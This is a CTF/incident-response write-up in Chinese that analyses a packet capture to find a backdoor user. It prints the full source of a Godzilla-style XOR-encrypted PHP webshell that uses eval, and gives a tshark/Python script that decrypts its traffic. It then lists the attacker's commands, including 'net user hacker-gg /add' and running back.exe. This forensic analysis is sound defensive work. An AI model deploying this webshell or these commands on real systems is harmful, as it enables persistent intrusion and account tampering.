📌 题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | 2026CCF-系统后门用户分析 |
| 题目来源 | 玄机靶场 |
| 题目类型 | 应急响应 / 流量分析 |
| 子分类 | Webshell 分析 / Linux 后门排查 |
| 考点 | Wireshark 流量过滤、HTTP 协议分析、文件上传分析、Webshell 代码审计 |
| 难度 | ⭐⭐ |
| 最终 Flag | flag{hacker-gg} |
🛠️ 使用工具
- Wireshark/Tshark:核心流量分析工具,用于打开
流量分析.pcapng并追踪 TCP 流。 - Python :用于还原 Webshell 中的异或加密逻辑,解密攻击者发送的命令。
📝 解题思路
拿到题目仅有一个流量分析.pcapng文件,意味着我们只能通过“看”网络流量来还原攻击者的行为。我们需要从零开始,像一个完全不知道攻击者做了什么的安全分析师一样,一步步筛选、追踪、解码,最终找到攻击者添加的后门用户名。
第 1 步:宏观分析——查看整体流量构成
打开 Wireshark 后,我们面对成百上千个数据包,不能漫无目的地乱翻。首先要做的是“鸟瞰”全局。
操作:点击顶部菜单栏的统计 (Statistics)->协议分级 (Protocol Hierarchy)。
结果分析:在弹出的窗口中,我们发现HTTP协议占据了极大的比重(按字节约 32%,按数据包数量约 35%)。同时,Line-based text data(HTTP 载荷明文)和HTML Form URL Encoded(表单提交数据)的出现,表明攻击者很可能通过Web 应用发起了攻击。SSH、Telnet 等其他远程管理协议几乎未见踪迹,因此Web 流量就是我们排查的重中之重。
接着,通过Wireshark中的统计-会话功能,看到主要通信集中在Tcp通信中,其中8022端口的流量比较多。
💡 这一步的目的是锁定“主战场”。如果不先做统计,很容易在加密的 TCP 垃圾包或正常的广播包中浪费大量时间。
第 2 步:筛选请求——定位攻击者的操作入口
使用wireshark筛选出8022端口的通信,同时查看成功通信的数据,可以发现攻击者在做目录扫描探测。
tcp.port==8022 && tcp contains "200"
上面都是GET方法,如果攻击者向服务器提交数据(如上传文件、执行命令),则通常使用HTTP的POST方法,因此过滤POST方法。
操作:在 Wireshark 顶部的“显示过滤器”栏中输入以下过滤表达式并回车:
http.request.method == "POST"
结果:过滤后,数据包数量大幅减少。观察过滤后的列表,我们发现了两个关键的目标 IP 和路径:
- 路径
/upload.php(这看起来像一个文件上传页面,很可能是攻击入口)。 - 路径
/uploads/php_68525da04b2c37.31016234.php(uploads目录下的动态 PHP 文件,很像是上传成功后生成的木马文件)。
第 3 步:分析第一个 POST 请求——提取 Webshell 木马源码
我们查看第一个/upload.php相关的数据包的详细内容。
操作:右键点击该数据包 ->追踪流 (Follow)->TCP 流 (TCP Stream)。Wireshark 会还原这次 HTTP 请求和响应的完整原始数据。
发现:在 TCP 流窗口中,我们看到了一个标准的文件上传请求。攻击者上传了一个名为upload.php的文件。文件内容是一段 PHP 代码(已加注释):
<?php // ================== 环境初始化 ================== @session_start(); // 开启会话,用于存储payload @set_time_limit(0); // 无执行超时 @error_reporting(0); // 关闭错误显示 // ================== XOR加密/解密函数 ================== function encode($D, $K) { for ($i = 0; $i < strlen($D); $i++) { $c = $K[$i + 1 & 15]; // 从16字节密钥中循环取字符 $D[$i] = $D[$i] ^ $c; // 逐字节异或 } return $D; } // ================== 通信参数 ================== $pass = 'gg'; // POST参数名 $payloadName = 'payload'; // Session键名 $key = '3c6e0b8a9c15224a'; // 16字节密钥(哥斯拉默认) // ================== 核心逻辑 ================== if (isset($_POST[$pass])) { // 先Base64解码,再XOR解密 $data = encode(base64_decode($_POST[$pass]), $key); if (isset($_SESSION[$payloadName])) { // 非首次请求:取出payload并解密 $payload = encode($_SESSION[$payloadName], $key); // 检查是否含"getBasicsInfo",若无则再次加密 if (strpos($payload, "getBasicsInfo") === false) { $payload = encode($payload, $key); } eval($payload); // 执行恶意代码 // 返回:MD5校验头 + 加密结果 + MD5校验尾 echo substr(md5($pass . $key), 0, 16); echo base64_encode(encode(@run($data), $key)); echo substr(md5($pass . $key), 16); } else { // 首次请求:若包含"getBasicsInfo",存入Session if (strpos($data, "getBasicsInfo") !== false) { $_SESSION[$payloadName] = encode($data, $key); } } }⚠️注意:
- 加密方式:单一
encode()做逐字节 XOR,密钥$key、参数$pass、会话$payloadName三件套写死 - 分流标记:用字符串
getBasicsInfo判断"首次初始化 / 执行命令" - 回显格式:响应为
md5前16位 + base64(encode(结果,key)) + md5后16位 - 代码风格:单文件、
@抑制报错、set_time_limit(0)免超时
以上特征组合(尤以$pass/$key/$payloadName结构 +getBasicsInfo标记 + md5 回显)是Godzilla 加密马的典型指纹,据此判定攻击工具为哥斯拉。
第 4 步:追踪木马交互流量——捕获加密指令
我们回到过滤列表,查看针对木马文件php_68525da04b2c37.31016234.php的 POST 请求。
操作:点击过滤出的第二个关键路径(木马文件)的数据包,再次右键 -> 追踪流 -> TCP 流。
这一大段gg=...是 Godzilla 客户端在"发送命令之前发送的加密脚本(前置脚本),里面是一大坨 Godzilla 的 "exploit 框架代码" + 待执行的命令(php 代码),不是普通的一句话木马。它的组成部分大致是:
- 框架初始化代码(
run()、formatParameter()、getBasicInfo()等函数定义)—— 这是 Godzilla 自带的执行环境 - 要执行的命令(比如
whoami、net user hacker-gg /add等,嵌在参数区) - 会话密钥/标记(用于和服务端握手、后续响应加密)**
前面都是Godzilla在执行命令前的前置脚本,所以我们在后面一点(实际是1904帧及之后)右键 -> 追踪流 -> TCP 流。可以发现攻击者执行的一条一条的命令(经过加密)。
第 5 步:解密攻击指令——还原真实命令
使用下面的python代码解密攻击指令(因为已经知道upload.php的内容,据此可以写出解密脚本)。需要注意的是由于webshell不是单一流,而是很多个不同的TCP流(230~244),因此需要提取不同的TCP流。
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import subprocess, base64, urllib.parse, gzip, sys #这里要根据你自己的路径修改!!! #这里要根据你自己的路径修改!!! TSHARK = r"F:\Wireshark\tshark.exe" PCAP = r"D:\Google浏览器下载\流量分析.pcapng" KEY = b"3c6e0b8a9c15224a" # Godzilla 密钥,ASCII 16字节 WEBSHELL = "/uploads/php_68525da04b2c37.31016234.php" # 过滤 webshell 路径 def run_tshark(display_filter, fields): """调用 tshark,返回字段列表(逐行)。""" cmd = [TSHARK, "-r", PCAP, "-Y", display_filter, "-T", "fields"] for f in fields: cmd += ["-e", f] out = subprocess.run(cmd, capture_output=True, text=True, encoding="utf-8", errors="replace").stdout return [ln.strip() for ln in out.splitlines() if ln.strip()] def php_xor(data: bytes) -> bytes: return bytes(b ^ KEY[(i + 1) & 15] for i, b in enumerate(data)) def get_post_body(frame: int) -> bytes: hx = run_tshark(f"frame.number=={frame}", ["http.file_data"]) if not hx: return b"" hexstr = hx[0] return bytes.fromhex(hexstr) def decrypt(frame: int): body = get_post_body(frame) if not body: return None s = body.decode("latin1") idx = s.find("gg=") if idx < 0: return None val = s[idx + 3:].split("&")[0] val = urllib.parse.unquote(val).strip() try: cipher = base64.b64decode(val) except Exception: return None plain = php_xor(cipher) # 尝试 gzip try: txt = gzip.decompress(plain).decode("utf-8", "replace") except Exception: txt = plain.decode("utf-8", "replace") return txt def extract_cmd(text: str) -> str: """从 Godzilla 载荷里提取命令。""" # 优先 cmdLine i = text.find("cmdLine") if i >= 0: seg = text[i + 7:] # 去掉二进制长度前缀等不可见字符,保留可打印 printable = "".join(ch for ch in seg if ch.isprintable()) return "命令: " + printable[:300] # 其次 methodName i = text.find("methodName") if i >= 0: seg = text[i + 10:] printable = "".join(ch for ch in seg if ch.isprintable()) return "方法: " + printable[:80] # 最后 raw 前 150 字符 printable = "".join(ch for ch in text if ch.isprintable()) return "内容: " + printable[:150] def main(): # 取所有 webshell POST 帧号(webshell不是单一流,而是很多个不同的TCP流(230~244)) frames = [] # 1. 建一个空列表,准备存帧号 for line in run_tshark( 'http.request.method==POST', # 2. 过滤条件:只要POST请求 ["frame.number", "tcp.stream", "http.request.uri"] # 3. 每行取这3个字段 ): parts = line.split() # 4. 把一行按空格拆成 [帧号, 流号, URI] if len(parts) >= 3 and WEBSHELL in parts[2]: # 5. 判断:URI 里是否含 webshell 路径 frames.append(int(parts[0])) # 6. 是 → 把帧号存进列表 frames = sorted(set(frames)) if not frames: print("未找到 webshell POST 帧,检查路径/过滤条件") return print(f"共 {len(frames)} 个 webshell POST 帧,开始解密...\n") for fr in frames: txt = decrypt(fr) if txt is None: print(f"===== 帧 {fr} ===== (无 gg 或解码失败)") print() continue print(f"===== 帧 {fr} =====") print(extract_cmd(txt)) print() if __name__ == "__main__": main()逐帧解密后,得到攻击者执行的完整命令:
| 帧号 | 流号 | 方法/命令 | 说明 | 阶段 |
|---|---|---|---|---|
| 1791 | 230 | 初始化脚本主体(putenv/execCommand框架) | 注入 Godzilla 执行环境 | ①初始化/握手 |
| 1807 | 230 | test | 连接测试 | ①初始化/握手 |
| 1812 | 230 | g_close | 关闭会话 | ①初始化/握手 |
| 1871 | 231 | 初始化脚本主体 | 新连接,重新注入环境 | ①初始化/握手 |
| 1886 | 231 | test | 连接测试 | ①初始化/握手 |
| 1891 | 231 | getBasicsInfo | 获取系统基础信息 | ①初始化/握手 |
| 1904 | 232 | whoami | 确认当前用户ayy | ②权限探测 |
| 1909 | 232 | net user | 查看现有账户 | ②权限探测 |
| 1914 | 232 | ls | 列目录(Windows 下无效) | ③目录枚举 |
| 1919 | 232 | dir | 列目录 | ③目录枚举 |
| 1934 | 233 | net user hacker-gg /add | 创建后门用户 hacker-gg | ④创建后门账户 ⭐ |
| 1939 | 233 | net user | 复查账户,确认 hacker-gg 已存在 | ④创建后门账户 ⭐ |
| 1953 | 234 | getFiledirNameuploads/ | 浏览 uploads 目录 | ⑤文件浏览 |
| 1965 | 235 | getFiledirNameWWW/ | 浏览网站根目录 | ⑤文件浏览 |
| 2033 | 236 | uploadFile→back.exe | 上传后门程序(73802 字节) | ⑥上传后门 |
| 2049 | 236 | getFiledirNameWWW/ | 确认文件落地 | ⑥上传后门 |
| 2061 | 237 | tasklist | 查看进程 | ⑦侦查 |
| 2077 | 238 | netstat -an | 查看网络连接/端口 | ⑦侦查 |
| 2090 | 239 | ../back.exe | 运行 back.exe | ⑧执行后门 |
| 2095 | 239 | tasklist | 确认进程 | ⑧执行后门 |
| 2110 | 240 | echo DKM9Pw && cd && echo kIznPU | 路径确认(标记命令) | ⑧执行后门 |
| 2124 | 240 | back.exe(WWW 目录) | 再运行后门 | ⑧执行后门 |
| 2146 | 243 | getFiledirNameWWW/ | 目录复查 | ⑨收尾确认 |
| 2158 | 244 | tasklist(WWW 目录) | 确认后门进程存活 | ⑨收尾确认 |
🏁 最终 Flag
题目说攻击者添加的后门用户名作为flag,则flag为hacker-gg。
flag{hacker-gg}